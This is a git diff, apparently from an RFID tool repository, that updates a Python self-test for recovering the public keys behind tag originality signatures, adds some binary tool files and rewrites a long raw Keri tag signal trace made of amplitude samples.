secp128r1, None, 'samples': ["EE5F9B00180104E0", "32D9E7579CD77E6F1FA11419231E874826984C5F189FDE1421684563A9663377", - "838ED22A080104E0", "CAE8183CB4823C765AFDEB78C9D66C959990FD52A5820E76E1D6E025D76EAD79"], + "838ED22A080104E0", "CAE8183CB4823C765AFDEB78C9D66C959990FD52A5820E76E1D6E025D76EAD79", + "1F62C26F080104E0", "9F47BF33D9ED62A62AFEF5685BC4006CFB290C344EAD5C5B49BF976804A9EE62"], 'pk': "048878A2A2D3EEC336B4F261A082BD71F9BE11C4E2E896648B32EFA59CEA6E59F0"}, # {'name': "Minecraft Earth", # # uses secp256r1?, SHA-256, - # 'samples': ["aa", "DF0E506DFF8FCFC4B7B979D917644445F1230D2C7CDC342AFA842CA240C210BE7275F62073A9670F2DCEFC602CBEE771C2B4CD4A04F3D1EA11F49ABDF7E8B721"], + # 'samples': ["aa", "DF0E506DFF8FCFC4B7B979D917644445F1230D2C7CDC342AFA842CA240C210BE7275F62073A9670F2DCEFC602CBEE771C2B4CD4A04F3D1EA11F49ABDF7E8B721"], # noqa: E501 # 'pk': ""}, {'name': "MIFARE Plus Trojka", - # uses secp224r1, None, - 'samples': ["04B59F6A226F82", "6F577EB7F570D74DB6250477427F68A0088762BD318767537122919A7916597149F9D16D8B135E9BF826FB28AE293F3168661CD4A049FAED", - "04B44A82D80F92", "A0868ECF26733D3C3C838D055968B4559F77693CC3E346E3A4741BC826801F8360FD88857BEC440AAD3A21153D64302DEB6F5ED40B15C3F7"], - 'pk': "040F732E0EA7DF2B38F791BF89425BF7DCDF3EE4D976669E3831F324FF15751BD52AFF1782F72FF2731EEAD5F63ABE7D126E03C856FFB942AF"}, - -# {'name': "MIFARE Ultralight AES", - # uses NID_secp192r1, OpenSSL doesn't support it. This is commented out until that day. -# 'samples': ["045E4CC2451390", "C9BBDA1B99EB6634CDFD8E3251AC5C4742EA5FA507B8A8A8B39B19AB7340D173331589C54C56C49F0CCA6DDBAC1E492A", -# "043F88C2451390", "5C2055A7373F119C3FDD9843020B06AA0E6DE18C16496C425C4AD971A50F05FA1A67B9E39CA60C355EEEEBF8214A84A5"], -# 'pk': "0453BF8C49B7BD9FE3207A91513B9C1D238ECAB07186B772104AB535F7D3AE63CF7C7F3DD0D169DA3E99E43C6399621A86"}, + # uses secp224r1, None, + 'samples': ["04B59F6A226F82", "6F577EB7F570D74DB6250477427F68A0088762BD318767537122919A7916597149F9D16D8B135E9BF826FB28AE293F3168661CD4A049FAED", # noqa: E501 + "04B44A82D80F92", "A0868ECF26733D3C3C838D055968B4559F77693CC3E346E3A4741BC826801F8360FD88857BEC440AAD3A21153D64302DEB6F5ED40B15C3F7"], # noqa: E501 + 'pk': "040F732E0EA7DF2B38F791BF89425BF7DCDF3EE4D976669E3831F324FF15751BD52AFF1782F72FF2731EEAD5F63ABE7D126E03C856FFB942AF"}, # noqa: E501 + {'name': "MIFARE Ultralight AES", + # uses prime192v1, None, + 'samples': ["045E4CC2451390", "C9BBDA1B99EB6634CDFD8E3251AC5C4742EA5FA507B8A8A8B39B19AB7340D173331589C54C56C49F0CCA6DDBAC1E492A", # noqa: E501 + "043F88C2451390", "5C2055A7373F119C3FDD9843020B06AA0E6DE18C16496C425C4AD971A50F05FA1A67B9E39CA60C355EEEEBF8214A84A5"], # noqa: E501 + 'pk': "0453BF8C49B7BD9FE3207A91513B9C1D238ECAB07186B772104AB535F7D3AE63CF7C7F3DD0D169DA3E99E43C6399621A86"}, # noqa: E501 + {'name': "MIFARE Ultralight AES (Vingcard alt key)", + # uses prime192v1, None, + 'samples': ["04A31232241C90", "057595DCC601CA7E21341F1F978FA134F0204D87A33749C56DDB4ABD6F1F26194341DB10093B34C42F524A30DCC5CE54", # noqa: E501 + "041BC1D2F31B90", "FB5CF8F1B3CC39984BCA54A50FCF47ACFDC8C969010C1F4599554AF9A8E4F2B8371524855E45AD7EE71179A660D27667"], # noqa: E501 + 'pk': "04DC34DAA903F2726A6225B11C692AF6AB4396575CA12810CBBCE3F781A097B3833B50AB364A70D9C2B641A728A599AE74"}, # noqa: E501 {'name': "MIFARE Classic / QL88", 'samples': ["30933C61", "AEA4DD0B800FAC63D4DE08EE91F4650ED825FD6B4D7DEEE98DBC9BAE10BE003E", "20593261", "F762CDD59EEDC075F4DDBA7ECD529FEEE5135C65A84D12EF0A250A321B2012F5"], 'pk': "046F70AC557F5461CE5052C8E4A7838C11C7A236797E8A0730A101837C004039C2"}, + {'name': "NTAG223DNA, NTAG224DNA", + # uses prime192v1, None, + # TODO more samples + 'samples': ["043302218D3D00", "6A5D5E034F4FC823CACAB56C1A77A409B8DB345F89BD3FD59ED1F9C0093518609BE62D0A20764D2011E47EFA187F29AA"], # noqa: E501 + 'pk': "0485D5B9353B4FAA77581BA2AE96630C5876D6E8603308ABE9A81A0B506F52D02D04FEE6F2D365B3DEE7B9FAD9133E2976"}, # noqa: E501 + # TruST25 (ST25TA) - KeyID 0x01? # curve=secp128r1, hash=sha256 - from block 224 in ST25TA NDEF file {'name': "ST25TA02KB TruST25 (ST) / KeyID 0x01?", @@ -200,47 +215,54 @@ def selftests(): succeeded = True for t in tests: - print("Testing %-38s" % (t['name']+":"), end="") + print("Testing %-41s" % (t['name']+":"), end="") curvenames = guess_curvename(t['samples'][1]) recovered = set() for c in curvenames: for h in [None, "md5", "sha1", "sha256", "sha512"]: - recovered |= recover_multiple(t['samples'][::2], t['samples'][1::2], c, alghash=h) + recovered |= set([(c, h, pk) for pk in + recover_multiple(t['samples'][::2], t['samples'][1::2], c, alghash=h)]) if (len(recovered) == 1): - pk = recovered.pop() + c, h, pk = recovered.pop() pk = binascii.hexlify(pk).decode('utf8') if pk.lower() == t['pk'].lower(): - print("( %s )" % color('ok', fg='green')) + print("%14s/%-8s ( %s )" % (c, h, color('ok', fg='green'))) else: succeeded = False - print("( FAIL ) got %s" % pk.lower()) + print("%14s/%-8s ( %s ) got %s" % (c, h, color('fail', fg='red'), pk.lower())) elif len(t['samples'])//2 == 1: - pks = [binascii.hexlify(pk).decode('utf8').lower() for pk in list(recovered)] - if t['pk'].lower() in pks: - print("( %s ) partial" % color('ok', fg='green')) + recovereds = [(c, h) for c, h, pk in list(recovered) + if t['pk'].lower() == binascii.hexlify(pk).decode('utf8').lower()] + if len(recovereds) == 1: + c, h = recovereds[0] + print("%14s/%-8s ( %s ) partial" % (c, h, color('ok', fg='green'))) else: succeeded = False - print("( %s ), got %s" % color('fail', fg='red'), pks) + print(" ( %s ), got" % color('fail', fg='red')) + for c, h, pk in list(recovered): + print(c, h, binascii.hexlify(pk).decode('utf8').lower()) else: - print("( %s )" % color('fail', fg='red')) + print(" ( %s )" % color('fail', fg='red')) succeeded = False - print("=====================================================") + print("===============================================================================") fail = color('fail', fg='red') ok = color('ok', fg='green') - print("Tests: ( %s )" % [fail, ok][succeeded]) + print("Tests: ( %s )" % [fail, ok][succeeded]) print("") + if __name__ == "__main__": if len(sys.argv) == 2 and sys.argv[1] == "selftests": selftests() exit(0) if len(sys.argv) < 3 or len(sys.argv) % 2 == 0: print("Usage: \n%s UID SIGN [UID SIGN] [...]" % sys.argv[0]) - print("Example: \n%s 04ee45daa34084 ebb6102bff74b087d18a57a54bc375159a04ea9bc61080b7f4a85afe1587d73b" % sys.argv[0]) + print("Example: \n%s 04ee45daa34084 ebb6102bff74b087d18a57a54bc375159a04ea9bc61080b7f4a85afe1587d73b" + % sys.argv[0]) exit(1) uids, sigs = sys.argv[1:][::2], sys.argv[1:][1::2] once = True diff --git a/tools/twn/AppBlaster.exe b/tools/twn/AppBlaster.exe new file mode 100644 index 000000000..6fdfae2fc Binary files /dev/null and b/tools/twn/AppBlaster.exe differ diff --git a/tools/twn/decoder.bix b/tools/twn/decoder.bix new file mode 100644 index 000000000..daf694630 Binary files /dev/null and b/tools/twn/decoder.bix differ diff --git a/tools/twn/encoder.bix b/tools/twn/encoder.bix new file mode 100644 index 000000000..1f472028d Binary files /dev/null and b/tools/twn/encoder.bix differ diff --git a/tools/twn/pcsc.bix b/tools/twn/pcsc.bix new file mode 100644 index 000000000..304500be1 Binary files /dev/null and b/tools/twn/pcsc.bix differ diff --git a/traces/hf_seos_sniff_fc60_cn640001.trace b/traces/hf_seos_sniff_fc54_cn64001.trace similarity index 100% rename from traces/hf_seos_sniff_fc60_cn640001.trace rename to traces/hf_seos_sniff_fc54_cn64001.trace diff --git a/traces/lf_Keri.pm3 b/traces/lf_Keri.pm3 index a4287b06c..d2eb9e3ea 100644 --- a/traces/lf_Keri.pm3 +++ b/traces/lf_Keri.pm3 @@ -1,24000 +1,24000 @@ --305 --169 -33 -220 -355 -254 -50 --135 --305 --169 -33 -220 -355 -254 -50 --152 --288 --169 -33 -237 -372 -254 -50 --135 --288 --169 -50 -237 -372 -271 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -50 --152 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --338 --474 --322 --84 -118 -288 -423 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --271 --50 -169 -338 -457 -322 -101 --101 --254 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --186 --355 --491 --338 --101 -101 -288 -406 -288 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -338 -135 --67 --237 --118 -84 -254 -406 -271 -67 --118 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --135 --305 --169 -33 -220 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --186 -33 -220 -372 -474 -305 -67 --152 --355 --491 --338 --101 -101 -271 -389 -254 -33 --169 --355 --491 --338 --101 -101 -288 -406 -271 -50 --152 --338 --474 --305 --84 -118 -305 -423 -305 -67 --152 --322 --457 --305 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -169 -322 -237 -50 --135 --271 --152 -67 -254 -406 -288 -84 --118 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -457 -305 -67 --152 --338 --474 --338 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 --101 -101 -288 -406 -288 -50 --152 --338 --474 --322 --84 -118 -305 -423 -288 -67 --152 --322 --457 --305 --67 -135 -322 -440 -305 -67 --135 --322 --440 --271 +-76 +-42 +8 +55 +89 +63 +12 -33 -169 -338 -237 -50 --135 --288 --152 -67 -254 -389 -288 -84 --118 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -237 -389 -271 -67 --135 --288 --152 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --338 --474 --305 --84 -118 -288 -423 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --101 --254 --118 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --186 --355 --491 --338 --101 -101 -288 -406 -271 -50 --152 --338 --457 --305 --67 -135 -305 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -406 -288 -84 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -474 -305 -67 --152 --355 --491 --338 --101 -101 -271 -406 -271 -33 --169 --355 --491 --322 --101 -118 -288 -406 -288 -50 --152 --338 --457 --305 --84 -118 -305 -423 -288 -67 --152 --322 --457 --305 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -169 -322 -237 -50 --135 --288 --152 -67 -254 -406 -288 -84 --118 --254 --135 -67 -254 -406 -288 -84 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -33 --186 --355 --491 --338 --101 -118 -288 -423 -288 -67 --152 --338 --457 --305 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -305 -84 --135 --322 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -254 -406 -271 -67 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --338 --474 --305 --84 -118 -288 -423 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -440 -305 